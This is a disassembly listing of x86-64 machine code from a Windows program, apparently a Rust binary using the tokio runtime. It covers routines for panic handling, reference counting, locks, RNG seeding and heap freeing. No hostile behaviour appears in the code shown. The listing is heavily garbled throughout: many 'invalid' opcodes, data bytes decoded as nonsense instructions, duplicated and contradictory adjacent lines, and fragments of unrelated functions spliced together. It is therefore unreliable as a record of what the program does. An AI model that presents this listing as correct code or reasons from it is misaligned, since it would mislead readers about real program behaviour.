cmp qword [0x140182238], 0
cmp eax, 0x9f706
add byte [rax - 0x75], cl
and byte [r13 + 0x51], r14b
mov dh, 5
invalid
cmp eax, 0x9f706
add byte [rax - 0x75], cl
and byte [r13 + 0x51], r14b
mov byte [rbp + 0x87], 1
mov rcx, rsi
add byte [rax], al
add dword [rax - 0x77], ecx
int1
call rax
mov rsi, rax
mov rdi, rdx
mov qword [rbp + 0x20], rax
and byte [r8 - 0x77], r9b
push rbp
sub byte [rax + 0xf00417d], al
invalid
invalid
add byte [rax], al
invalid
and byte [r8 - 0x77], r9b
push rbp
sub byte [rax + 0xf00417d], al
test dword [rdi - 0x75000000], edi
add eax, 0x9f7b2
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
cmp qword [rax + 0x78], 1
jbe 0x1400e2c27
add byte [rax], al
add dword [rdi], ecx
xchg byte [rdx - 0x3a000000], ch
invalid
add dh, al
mov byte [rbp + 0x80], 1
test dword [rax + 0x1000000], eax
jmp 0x1400e2da1
mov byte [rbp + 0x87], 1
add byte [rax], al
add byte [rcx], al
mov rcx, rsi
call rax
ror byte [rax - 0x77], 1
and byte [r8 - 0x77], r9b
push rbp
sub byte [rax - 0x75], cl
or eax, 0x9f694
ror byte [rax - 0x77], 1
and byte [r8 - 0x77], r9b
push rbp
sub byte [rax - 0x75], cl
or eax, 0x9f694
mov rax, qword [0x140182240]
mov rax, qword [rax + 0x28]
mov byte [rbp + 0x87], 1
sub sil, al
test dword [rdi + 0x1000000], eax
lea rdx, [rbp + 0x20]
call rax
mov edx, 0xffffffff
lock xadd dword [0x140182228], edx
dec edx
mov eax, edx
and eax, 0xbfffffff
cmp eax, 0x80000000
jne 0x1400e2bec
mov byte [rbp + 0x87], 0
lea rcx, [0x140182228]
or dword [rax], eax
or dword [rax], eax
call fcn.140110980
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov byte [rax + 0x80], 0
test bl, bl
je 0x1400e2c7f
mov byte [rbp + 0x87], 0
call fcn.1400df450
invalid
jmp 0x1400e2eaf
invalid
mov byte [rbp + 0x80], 3
jmp 0x1400e2da1
movzx eax, byte [0x140182220]
movzx eax, al
lea rcx, [0x140178e20]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov byte [rbp + 0x87], 1
lea rdx, str.RUST_BACKTRACElibrary_std_srcenv.rsfailed_to_set_environment_variable____to___:
lea rcx, [rbp - 0x20]
mov r8d, 0xe
mov eax, 0xe
call fcn.1400d95e0
mov rax, qword [rbp - 0x20]
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x1400e2d33
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0xfc83948], al
test dword [rsi - 0x50000000], edi
add eax, dword [rax - 0x4a]
add ch, cl
or eax, 0xc7000001
invalid
mov al, 3
mov sil, 2
jmp 0x1400e2d8c
mov dword [rbp + 0x60], 0
mov byte [rbp + 0x64], 0
lea rax, str.thread_caused_non_unwinding_panic._aborting._n
add eax, 0x673cf
add eax, 0x673cf
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 1
invalid
loopne 0x1400e2cde
mov dword [rbp - 0x18], 1
add byte [rax - 0x39], cl
lock or byte [rax], al
add byte [rax], al
invalid
mov qword [rbp - 0x10], 8
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
lea rax, [rbp + 0x60]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], 0
lea rdx, [0x140148b40]
lea rcx, [rbp - 0x48]
lea ecx, [rbp - 0x48]
lea ecx, [rbp - 0x48]
lea r8, [rbp - 0x20]
call fcn.140013bb0
loopne 0x1400e2cdc
dec dword [rax - 0x75]
invalid
invalid
test al, al
je 0x1400e2cff
loopne 0x1400e2cdc
dec dword [rax - 0x75]
rol byte [r8 + rax*8 - 0x7ab7d88c], 0xc9
test rcx, rcx
test rcx, rcx
lea rax, str.formatter_error
lea eax, [0x140149638]
push rsi
imul eax, dword [rsi], 0x450f4800
invalid
add byte [rax + 0xf], cl
shr r11d, 0x2e
invalid
cmovne rax, rcx
jmp 0x1400e2d16
mov sil, 1
jmp 0x1400e2d92
xor esi, esi
jmp 0x1400e2d92
test rcx, rcx
je 0x1400e2d14
mov byte [rbp + 0x87], 0
lea rcx, [rbp - 0x40]
call case.0x140019144.3166
xor eax, eax
mov qword [rbp - 0x48], rax
mov byte [rbp + 0x87], 0
lea rcx, [rbp - 0x48]
call fcn.1400d3630
mov ecx, 7
int 0x29
ud2
mov r8, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x10]
cmp rcx, 4
je 0x1400e2d54
mov byte [rbp + 0x80], sil
mov rsi, qword [rbp + 0x20]
mov rdi, qword [rbp + 0x28]
mov rax, qword [rbp + 0x38]
mov qword [rbp + 0x10], rax
mov rax, qword [rdi + 0x18]
mov byte [rbp + 0x87], 1
mov rcx, rsi
call rax
movabs rcx, 0xb98b1b7157a64178
cmp rax, rcx
jne 0x1400e2eb1
mov eax, 8
movabs r8, 0x63eb502cd6cb5d6d
mov rcx, rsi
cmp rdx, r8
jne 0x1400e2eb1
mov r8, qword [rcx]
mov rcx, qword [rsi + rax]
mov qword [rbp + 0x60], r8
mov qword [rbp + 0x68], rcx
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xc8]
cmp eax, 1
je 0x1400e2e64
ud2
mov rax, qword [rdi + 0x18]
mov byte [rbp + 0x87], 1
mov rcx, rsi
call rax
movabs r9, 0xe597e53dd76e663c
mov ecx, 0xc
lea r8, [0x140149d3c]
cmp rax, r9
jne 0x1400e2dee
movabs rax, 0xa63d6fd19e5445cd
cmp rdx, rax
jne 0x1400e2dee
mov qword [rbp + 0x20], 1
lea rcx, [0x140149f60]
mov qword [rbp + 0x28], rcx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
mov byte [rbp + 0x40], bl
mov byte [rbp + 0x41], al
mov dword [rbp + 0x10], 0
mov byte [rbp + 0x14], 0
lea rax, [rbp + 0x20]
mov qword [rbp - 0x48], rax
lea rax, [0x140016530]
mov qword [rbp - 0x40], rax
lea rax, [0x140149fb8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 2
mov qword [rbp], 0
lea rax, [rbp - 0x48]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], 1
lea rcx, [rbp + 0x10]
lea rdx, [rbp - 0x20]
call fcn.1400d3590
mov qword [rbp + 0x60], rax
test rax, rax
je 0x1400e32dc
test r8, r8
je 0x1400e3238
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
movaps xmmword [rsp + 0x50], xmm6
mov qword [rsp + 0x48], r8
mov rsi, qword [rcx + 0x10]
mov rbx, qword [rcx + 0x18]
cmp rbx, 0xffffffffffffffff
je 0x1400e79c7
cmp r15, r14
jae 0x1400e89b5
xor r14d, r14d
jmp 0x1400e8988
inc r14
cmp rbx, r14
je 0x1400e89b5
mov rcx, qword [rdi + r14*8]
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x1400e8a46
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400e8980
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
jmp 0x1400e8980
cmp qword [rsi + 0x40], 0
je 0x1400e89cf
mov r8, qword [rsi + 0x48]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp dword [rsi], 2
je 0x1400e89dc
mov rcx, rsi
call fcn.140003320
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
add byte [rax - 1], cl
invalid
inc rbp
cmp r12, rbp
in al, dx
in al, dx
je 0x1400e896f
mov rcx, qword [r13 + rbp*8]
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x1400e8a46
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400e8a10
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
jmp 0x1400e8a10
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
mov rbx, qword [rdi + 0xa0]
mov edi, dword [rdi + 0xa8]
call fcn.1400dfa40
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], edx
lea rcx, [rsp + 0x20]
mov rdx, rbx
mov r8d, edi
call fcn.1400d5e50
mov ecx, edx
imul rcx, rcx, 0x431bde83
shr rcx, 0x32
xor r8d, r8d
cmp edx, 0x3b9aca00
cmove rax, r8
cmove ecx, r8d
mov edx, 0x3e8
mul rdx
add rcx, rax
adc rdx, 0
mov rdx, 0xfffffffffffffffd
cmove rdx, rcx
mov rcx, rsi
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp fcn.1400e9740
invalid
add byte [rax - 0x77], cl
fld1
iretd
add dh, byte [rbp + 0x69]
xor eax, eax
xchg qword [r15 + 0x10], rax
xchg dword [rdi + 0x10], eax
xchg dword [rdi + 0x10], eax
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rbx], cl
je 0x1400e8dbe
mov rcx, rbx
call fcn.14010af70
jmp 0x1400e8dbe
test al, 1
jne 0x1400eaef8
mov rcx, rax
and rcx, 0xfffffffffffffffc
or rcx, 2
lock cmpxchg qword [rdi], rcx
jne case.0x140096f06.1083
jmp 0x1400eaf36
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi + 8], cl
or byte [r13 + 0x3f], r14b
or byte [r13 + 0x3f], r14b
mov r8, qword [rdi]
lea rcx, [rdi + 0x10]
mov rdx, rdi
call fcn.1400eafc0
mov rbx, rax
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rdi + 8], cl
sete al
test rbx, rbx
je 0x1400eaf32
invalid
test al, al
je 0x1400eaf4d
mov rcx, rdx
call qword [rbx + 8]
jmp 0x1400eaf36
test al, al
je 0x1400eaf61
inc qword [rsi + 0x10]
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
lea rcx, [rdi + 8]
call fcn.14010b310
jmp 0x1400eaf03
add rdi, 8
mov rcx, rdi
mov rdi, rdx
call fcn.14010af70
mov rdx, rdi
jmp 0x1400eaf2a
add rdi, 8
mov rcx, rdi
call fcn.14010af70
jmp 0x1400eaf36
invalid
int3
int3
add byte [rax + 0x28c48348], dl
pop rdi
pop rsi
ret
xchg ebx, eax
add byte [rax], al
add byte [rax - 0x75], cl
add eax, 0x971ba
shl rax, 1
test rax, rax
jne 0x1400eb1f8
xor eax, eax
movzx edx, byte [rcx + 1]
test dl, dl
jne 0x1400eb211
mov edx, dword [rcx + 4]
mov esi, dword [rcx + 8]
mov ebx, edx
shl ebx, 0x11
xor ebx, edx
mov edx, esi
shr edx, 0x10
xor edx, esi
xor edx, ebx
shr ebx, 7
xor ebx, edx
mov edx, esi
shl edx, 0x11
xor edx, esi
mov edi, edx
shr edi, 7
mov r8d, ebx
shr r8d, 0x10
xor edi, edx
xor edi, ebx
xor edi, r8d
mov dword [rcx + 4], ebx
mov dword [rcx + 8], edi
test al, al
jne 0x1400eb1ba
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400eb243
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x1400eb1c8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
add edi, ebx
add esi, ebx
mov eax, esi
mov edx, edi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rsi, rcx
call fcn.140110270
mov rcx, rsi
xor al, 1
movzx edx, byte [rcx + 1]
test dl, dl
je 0x1400eb168
mov qword [rsp + 0x28], rcx
mov byte [rsp + 0x30], al
lea rax, [0x14014ed18]
mov qword [rsp + 0x20], rax
lea rcx, str.RNG_seed_generator_is_internally_corruptC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srcutil_rand_rt.rs
lea r9, [0x14014b920]
lea r8, [rsp + 0x28]
mov edx, 0x28
add byte [rax], al
add byte [rax], al
call fcn.140108600
mov r14, rcx
call fcn.140110270
mov rcx, r14
test al, al
jne 0x1400eb1ba
mov byte [rcx + 1], 1
jmp 0x1400eb1ba
pop rbx
invalid
invalid
invalid
pop rbx
invalid
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x50
movaps xmmword [rsp + 0x40], xmm6
mov rsi, rdx
cmp qword [rcx], 0
je 0x1400eb2bb
call fcn.1400e45d0
mov rax, qword [rsi + 8]
mov qword [rsi + 0x10], rdi
inc rax
mov qword [rsi + 8], rax
mov rax, qword [r14 + 0x10]
mov rcx, r14
call qword [rax]
adc byte [rcx - 1], cl
invalid
cmp qword [rsi + 8], 0
jne 0x1400ebd26
adc byte [rcx - 1], cl
invalid
mov rdi, qword [rsi + 0x10]
movups xmmword [rsi + 8], xmm6
test rdi, rdi
je case.0x1400d8aa8.228
invalid
add byte [rax], al
invalid
mov ebx, 0x4c000000
mov esi, dword [rdi]
add byte [rbx + rcx*4 + 0x37], cl
mov r14, qword [rdi]
mov qword [rdi], 0
test r14, r14
je 0x1400ebc64
invalid
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400ebbfc
test eax, eax
jne 0x1400ebc21
mov eax, dword [0x140182314]
add eax, 0x9673c
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov r13, qword [rcx + rax*8]
lea rcx, [r13 + 0xd0]
mov rdx, rbx
call fcn.1400d4a00
mov byte [r13 + 0x120], 1
mov byte [rbp + 0x120], 1
mov byte [rbp + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x11c], 0
je 0x1400ebc21
cmp byte [rax + 0x11d], 0
je 0x1400ebc7f
pop rsi
pop rsi
cmp r12, 3
jb 0x1400ebc2b
mov byte [rdi + 0x48], 0
cmp qword [rsi + 8], 0
jne 0x1400ebd32
mov qword [rsi + 8], 0xffffffffffffffff
mov rcx, qword [rsi + 0x10]
mov ecx, dword [rsi + 0x10]
or dil, r15b
invalid
mov ecx, dword [rsi + 0x10]
test rcx, rcx
jne 0x1400ebb60
mov rax, 0xffffffffffffffff
jmp 0x1400ebb69
xor edi, edi
cmp bpl, 2
jne 0x1400ebc9c
jmp 0x1400ebd0d
mov rax, qword [rsi]
mov rax, qword [rax + 0x10]
movzx eax, byte [rax + 0x50]
mov dh, 0x40
push rax
mov dh, 0x40
push rax
xor al, 1
mov byte [rdi + 0x48], al
cmp bpl, 2
cmp ch, 2
jne 0x1400ebc9c
jmp 0x1400ebd0d
lea rcx, [rdi + 0x18]
mov rax, qword [rsi]
mov r8, qword [rax + 0x10]
add r8, 0x10
add eax, 0x10
add eax, 0x10
mov rdx, r14
call fcn.1400ec0a0
cmp bpl, 2
je 0x1400ebd0d
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400ebcec
mov rax, rdi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
call fcn.140108540
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
call fcn.140108540
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
call fcn.140108540
int3
sub esp, 0x20
mfence
mov rax, qword [rcx + 0xa0]
test ax, ax
jne 0x1400ebe78
shr rax, 0x10
cmp rax, qword [rcx + 0xa8]
invalid
test al, 0
add byte [rax], al
sub dword [rax + 0xf000000], 0xfd83
add byte [rdx - 0xf3fceff], dh
cmpxchg byte [rcx + 0xb0], dl
add byte [rax], al
jae 0x1400ebe78
add byte [rax], al
mov dl, 1
xor eax, eax
lock cmpxchg byte [rcx + 0xb0], dl
jne 0x1400ebe41
mfence
mov rax, qword [rcx + 0xa0]
add byte [rax], al
invalid
add byte [rax], al
test ax, ax
jne 0x1400ebe69
shr rax, 0x10
shr eax, 0x10
cmp rax, qword [rcx + 0xa8]
jae 0x1400ebe69
lock add qword [rcx + 0xa0], 0x10001
mov rax, qword [rcx + 0xc8]
or eax, 0x48000000
test eax, eax
add byte [rax - 0x75], cl
or eax, 0x48000000
test eax, eax
je 0x1400ebe2f
lea rdx, [rax - 1]
mov qword [rcx + 0xc8], rdx
mov rdx, qword [rcx + 0xc0]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
je 0x1400ebda1
mov rsi, qword [rdx + rax*8 - 8]
clc
mov edi, 1
add dword [rax], eax
add byte [rax], al
xor edx, edx
mov al, 1
lock cmpxchg byte [rcx + 0xb0], dl
jne 0x1400ebe80
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
test rdi, rdi
je 0x1400ebe78
invalid
test rdi, rdi
je 0x1400ebe78
mov rdx, qword [rcx + 0x50]
mov edx, dword [rcx + 0x50]
cmp rsi, rdx
jae 0x1400ebea0
mov rax, qword [rcx + 0x48]
shl rsi, 4
shl rsi, 4
add rcx, 0x108
ror dword [rax], 1
add byte [rax], al
mov rax, qword [rax + rsi + 8]
mov eax, dword [rax + rsi + 8]
mov rdx, rcx
mov rcx, rax
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.1400ebfa0
jno 0x1400ebe2e
add byte [rax], al
jno 0x1400ebe2e
add byte [rax], al
add byte [rcx], dh
push qword [rcx]
xor edx, edx
mov al, 1
lock cmpxchg byte [rcx + 0xb0], dl
xor edi, edi
xor edx, edx
mov al, 1
lock cmpxchg byte [rcx + 0xb0], dl
add byte [rax + rdi*4 - 0x15], dh
invalid
je case.0x1400dbd41.124
jmp 0x1400ebe80
lea rax, [rcx + 0xb0]
mov rsi, rcx
mov rcx, rax
call fcn.14010b310
mov rcx, rsi
mov ecx, esi
mov ecx, esi
mfence
mov rax, qword [rcx + 0xa0]
test ax, ax
and dword [rax + 0x66000000], 0x840fc085
invalid
test eax, eax
je case.0x1400db97b.139
xor edi, edi
mov al, 1
lock cmpxchg byte [rcx + 0xb0], dil
add byte [rax], al
add byte [rbp + 8], dh
add byte [rax], al
add byte [rbp + 8], dh
add rsp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
ret
lea rax, [rcx + 0xb0]
mov rbx, rcx
mov rcx, rax
call fcn.14010af70
mov rcx, rbx
test rdi, rdi
jne 0x1400ebdfc
jmp 0x1400ebe78
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
mov rcx, rsi
call fcn.1401082d0
int3
mov ecx, dword [rsi + 0x18]
test rcx, rcx
je 0x1400ebf31
call fcn.1400e8910
mov rdi, qword [rsi + 0x30]
mov rbx, qword [rsi + 0x38]
test rbx, rbx
je 0x1400ebf63
lea r14, [rdi + 8]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
invalid
mov rax, qword [r14 - 8]
mov rcx, qword [r14]
call qword [rax + 0x18]
add r14, 0x10
invalid
adc byte [rax - 1], cl
retf
jne 0x1400ebf50
invalid
cmp qword [rsi + 0x28], 0
je 0x1400ebf86
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
and eax, 0x263da
and eax, 0x263da
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
add byte [rax], al
xchg dword [rcx + 0x18], eax
add ecx, dword [rdi]
xchg dword [rax + 0x4c000000], ecx
lea eax, [0x140178e30]
loopne case.0x1400dd530.27
add dword [rcx], esi
sal al, 0xf
cmpxchg byte [rcx + 0x28], dl
jne 0x1400ebffa
cmpxchg byte [rcx + 0x28], dl
mov al, 1
lock cmpxchg byte [r14], r12b
jne 0x1400ed395
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
test eax, eax
je 0x1400ed1e0
cmp eax, 1
je 0x1400ed20a
mov rcx, rsi
mov rdx, rbx
call fcn.1400e7a40
jmp 0x1400ed2a7
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
mov rdx, rdi
call fcn.1400d4a00
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
movzx ebp, byte [r15 + 0x11c]
scasd eax, dword [rdi]
sbb al, 1
add byte [rax], al
scasd eax, dword [rdi]
sbb al, 1
add byte [rax], al
movzx r14d, byte [r15 + 0x11d]
mov word [r15 + 0x11c], 0x8001
mov rcx, rsi
mov rdx, rbx
call fcn.1400e7a40
movzx ecx, byte [r15 + 0x120]
cmp ecx, 1
je 0x1400ed286
test ecx, ecx
jne 0x1400ed2a7
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov r13, qword [rdx + rcx*8]
lea rcx, [r13 + 0xd0]
mov rdx, rdi
mov r15d, eax
call fcn.1400d4a00
mov eax, r15d
mov byte [r13 + 0x120], 1
mov r13b, 1
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x11c], bpl
mov byte [rcx + 0x11d], r14b
cmp al, 2
jne 0x1400ed3a2
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbp, qword [rax + 0x128]
test rbp, rbp
je 0x1400ed2f0
mov eax, 2
lock cmpxchg qword [rbp + 0x10], r12
je 0x1400ed1ad
jmp 0x1400ed312
invalid
call fcn.1400e7cc0
test rax, rax
je 0x1400ee0c1
mov rbp, qword [rax]
mov eax, 2
lock cmpxchg qword [rbp + 0x10], r12
je 0x1400ed1ad
lea r14, [rbp + 0x20]
xor eax, eax
lock cmpxchg byte [rbp + 0x20], r13b
jne 0x1400ed363
xor eax, eax
mov ecx, 1
lock cmpxchg qword [rbp + 0x10], rcx
jne 0x1400ed380
lea r15, [rbp + 0x18]
nop word cs:[rax + rax]
mov rcx, r15
mov rdx, r14
mov r9d, 0x3b9aca00
call fcn.1400494f0
mov eax, 2
lock cmpxchg qword [rbp + 0x10], r12
jne 0x1400ed340
jmp 0x1400ed1a0
mov rcx, r14
call fcn.14010b310
xor eax, eax
mov ecx, 1
lock cmpxchg qword [rbp + 0x10], rcx
je 0x1400ed32f
nop word [rax + rax]
cmp rax, 2
jne 0x1400ee0ea
xor eax, eax
xchg qword [rbp + 0x10], rax
jmp 0x1400ed1a0
mov rcx, r14
call fcn.14010af70
jmp 0x1400ed1ad
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
call qword [rax + 0x18]
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rcx*4], fs
add byte [rax], al
add bh, bh
push rax
sbb byte [rax - 0x75], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rdx + rdx*2 - 0xd], 0xf
outsd dx, dword [rsi]
test byte [rax + rbp*4], ah
add byte [rax], al
add bl, dh
movq qword [rsp + 0x48], mm0
mov rax, qword [rsp + 0xa0]
test rax, rax
je 0x1400ed414
movdqu xmm0, xmmword [rsp + 0xa8]
movdqu xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x40]
call fcn.1400e66b0
test rax, rax
je 0x1400ed414
mov rsi, rax
mov rdi, rdx
mov rcx, rax
call qword [rdx]
cmp qword [rdi + 8], 0
je 0x1400ed414
cmp qword [rdi + 0x10], 0x11
jb 0x1400ed402
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x180]
mov r8, qword [rsp + 0x188]
mov rax, qword [rsp + 0x198]
lea rdx, [r8 + 1]
movdqa xmm0, xmmword [rcx]
test r8, r8
je 0x1400ed470
mov r9, rdx
shr r9, 0x3b
jne 0x1400ed465
mov r9, rdx
shl r9, 5
add r8, 0x11
add r8, r9
jb 0x1400ed465
movabs r10, 0x7ffffffffffffff1
cmp r8, r10
jb 0x1400edf85
xor r11d, r11d
mov rdi, rcx
sub rdi, r9
jmp 0x1400ed473
xor r11d, r11d
lea rsi, [rcx + 0x10]
pmovmskb r9d, xmm0
mov r10d, r9d
not r10d
add rdx, rcx
mov qword [rsp + 0xe0], r11
mov qword [rsp + 0xe8], r8
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0xf8], rcx
mov qword [rsp + 0x100], rsi
mov qword [rsp + 0x108], rdx
mov word [rsp + 0x110], r10w
mov qword [rsp + 0x118], rax
test rax, rax
je 0x1400ed722
cmp r9w, 0xffff
jne 0x1400ed513
nop word cs:[rax + rax]
movdqa xmm0, xmmword [rsi]
pmovmskb r9d, xmm0
add rcx, 0xfffffffffffffe00
add rsi, 0x10
cmp r9d, 0xffff
je 0x1400ed4e0
mov r10d, r9d
not r10d
mov qword [rsp + 0x100], rsi
mov qword [rsp + 0xf8], rcx
mov edx, 0xfffffffe
sub edx, r9d
and edx, r10d
mov word [rsp + 0x110], dx
dec rax
mov qword [rsp + 0x118], rax
tzcnt edx, r10d
shl edx, 5
sub rcx, rdx
mov rdi, qword [rcx - 0x20]
mov rbx, qword [rcx - 0x18]
movdqu xmm0, xmmword [rcx - 0x10]
movdqa xmmword [rsp + 0x1b0], xmm0
test rbx, rbx
je 0x1400ed722
inc rax
mov rcx, 0xffffffffffffffff
cmovne rcx, rax
cmp rcx, 5
mov r14d, 4
cmovae r14, rcx
shr rcx, 0x3a
jne 0x1400ee1e8
mov rsi, r14
shl rsi, 5
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rsi
call fcn.1400dfbe0
test rax, rax
je 0x1400ee1ed
mov qword [rax], rdi
mov qword [rax + 8], rbx
movaps xmm0, xmmword [rsp + 0x1b0]
movups xmmword [rax + 0x10], xmm0
mov qword [rsp + 0x80], r14
mov r15, rax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
movdqu xmm0, xmmword [rsp + 0xe0]
movups xmm1, xmmword [rsp + 0xf0]
movups xmm2, xmmword [rsp + 0x100]
movups xmm3, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x70], xmm3
movaps xmmword [rsp + 0x60], xmm2
movaps xmmword [rsp + 0x50], xmm1
movdqa xmmword [rsp + 0x40], xmm0
mov rax, r14
mov r14, qword [rsp + 0x78]
test r14, r14
je 0x1400ed73b
mov rdi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
movzx eax, word [rsp + 0x70]
mov edx, 1
mov r9, 0xffffffffffffffff
lea rsi, [rsp + 0x80]
nop
test ax, ax
je 0x1400ed660
lea ebp, [rax - 1]
and ebp, eax
dec r14
test rdi, rdi
jne 0x1400ed68a
jmp 0x1400ed734
movdqa xmm0, xmmword [rbx]
pmovmskb eax, xmm0
add rdi, 0xfffffffffffffe00
add rbx, 0x10
cmp eax, 0xffff
je 0x1400ed660
mov ecx, 0xfffffffe
sub ecx, eax
not eax
mov ebp, eax
and ebp, ecx
dec r14
tzcnt eax, eax
shl eax, 5
mov rcx, rdi
sub rcx, rax
mov r12, qword [rcx - 0x20]
mov r13, qword [rcx - 0x18]
movups xmm0, xmmword [rcx - 0x10]
movaps xmmword [rsp + 0x120], xmm0
test r13, r13
je 0x1400ed734
cmp rdx, qword [rsp + 0x80]
je 0x1400ed6f9
mov rax, rdx
shl rax, 5
mov rcx, r15
mov qword [r15 + rax], r12
mov qword [r15 + rax + 8], r13
movdqa xmm0, xmmword [rsp + 0x120]
movdqu xmmword [r15 + rax + 0x10], xmm0
inc rdx
mov qword [rsp + 0x90], rdx
mov eax, ebp
test r14, r14
jne 0x1400ed640
jmp 0x1400ed757
mov r8, r14
inc r8
cmove r8, r9
mov rcx, rsi
mov r15, rdx
call fcn.140111a60
mov r9, 0xffffffffffffffff
mov rdx, r15
mov r15, qword [rsp + 0x88]
jmp 0x1400ed6be
lea rcx, [rsp + 0xe0]
call fcn.1400ee220
jmp 0x1400edf70
or byte [rax], al
invalid
or byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x28
mov qword [rsp + 0x28], rdx
jmp 0x1400ed75f
mov qword [rsp + 0xc0], rax
lea rcx, [rsp + 0x40]
call fcn.1400ee220
mov eax, 1
mov r14, r15
jmp 0x1400ed7bd
mov qword [rsp + 0x28], rdx
xor r14d, r14d
mov word [rsp + 0x70], bp
mov qword [rsp + 0x78], r14
